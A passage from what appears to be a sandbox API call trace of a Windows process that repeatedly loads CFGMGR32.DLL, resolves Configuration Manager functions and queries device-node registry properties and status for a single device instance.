lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.174] malloc (_Size=0x18) returned 0x196ef0d20e0 [0205.174] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.177] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0205.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b2616bc, dwHighDateTime=0x1d9eb0c)) [0205.177] SetEvent (hEvent=0x248) returned 1 [0205.180] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.180] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.183] malloc (_Size=0x18) returned 0x196ef0d1f00 [0205.183] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.183] malloc (_Size=0x48) returned 0x196ef0fb720 [0205.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b2616bc, dwHighDateTime=0x1d9eb0c)) [0205.184] SetEvent (hEvent=0x248) returned 1 [0205.186] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.187] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.189] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0205.190] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.190] malloc (_Size=0x48) returned 0x196ef0fba90 [0205.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b2879c7, dwHighDateTime=0x1d9eb0c)) [0205.190] SetEvent (hEvent=0x248) returned 1 [0205.193] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.193] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.196] malloc (_Size=0x18) returned 0x196ef0d1980 [0205.196] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.196] malloc (_Size=0x48) returned 0x196ef0fb950 [0205.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b2879c7, dwHighDateTime=0x1d9eb0c)) [0205.196] SetEvent (hEvent=0x248) returned 1 [0205.201] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.202] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.205] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0205.205] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0205.330] malloc (_Size=0x48) returned 0x196ef0fbae0 [0205.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b3ded8c, dwHighDateTime=0x1d9eb0c)) [0205.330] SetEvent (hEvent=0x248) returned 1 [0205.333] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.333] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.334] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.335] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.336] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.337] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.337] malloc (_Size=0x18) returned 0x196ef0d1d60 [0205.337] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x39, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0205.337] malloc (_Size=0x48) returned 0x196ef0fbb30 [0205.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5b3ded8c, dwHighDateTime=0x1d9eb0c)) [0205.337] SetEvent (hEvent=0x248) returned 1 [0205.342] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.342] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.346] malloc (_Size=0x18) returned 0x196ef0d1d00 [0205.346] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x39, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0205.346] malloc (_Size=0x48) returned 0x196ef0fb810 [0205.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5b410d14, dwHighDateTime=0x1d9eb0c)) [0205.346] SetEvent (hEvent=0x248) returned 1 [0205.349] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.350] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0205.353] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0205.353] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0205.353] malloc (_Size=0x48) returned 0x196ef0fb270 [0205.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5b410d14, dwHighDateTime=0x1d9eb0c)) [0205.353] SetEvent (hEvent=0x248) returned 1 [0205.358] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0205.358] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0205.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0205.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0205.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0205.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0205.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0205.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0205.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0205.361] GetProcAddress (hModule=0x7ffa786c0000, 